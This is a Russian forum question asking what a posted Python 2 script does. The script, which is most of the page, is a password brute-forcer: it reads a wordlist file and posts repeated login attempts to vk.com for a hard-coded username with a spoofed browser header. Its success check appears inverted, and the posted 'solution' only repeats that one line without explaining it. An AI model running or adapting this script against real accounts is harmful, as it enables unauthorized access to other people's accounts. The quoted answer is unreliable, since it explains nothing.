Подскажите что делает приведенный код - Python
Формулировка задачи:
Здравствуйте. Подскажите что исполняет данный код, какие функции и прочее все что можно о нем сказать кроме того что это чекер аккаунтов)
Листинг программы
- # -*- encoding: utf-8 -*-
- import httplib, urllib
- infile = open('passwords.txt', 'r')
- user = 'Slemers'
- host = 'vk.com'
- redirect_url = 'vk.com'
- path = '/login'
- print "\nЗапрос авторизации по адресу : "+host+path
- for line in infile:
- password=line.rstrip('\n')
- param = urllib.urlencode({'submit':'submit','log_in[username]':user,'log_in[password]':password,'log_in[remember]':1,'redirect_url':redirect_url,
- 'security_log_additional_info':1})
- # "{"language":"ru-RU","cookieEnabled":true,"javaEnabled":true,"flashVersion":"20.0.0","dateTime":"04.04.2016,+20:09:11"}" security_log_additional_info
- header = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain",
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0"}
- connect = httplib.HTTPConnection(host)
- connect.request("POST", path, param, header)
- response = connect.getresponse()
- #print response,
- print response.status,
- print "--> "+user+":"+password,
- code = response.read()
- if code.find("Неверное имя пользователя или пароль.") <= 0:
- print chr(27)+"[0;91m"+"Incorrect"
- else:
- print chr(27)+"[0;92m"+"Correct"
- print chr(27)+"[0m"
- connect.close()
- infile.close()
Решение задачи: «Подскажите что делает приведенный код»
textual
Листинг программы
- if code.find("Неверное имя пользователя или пароль.") <= 0:
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д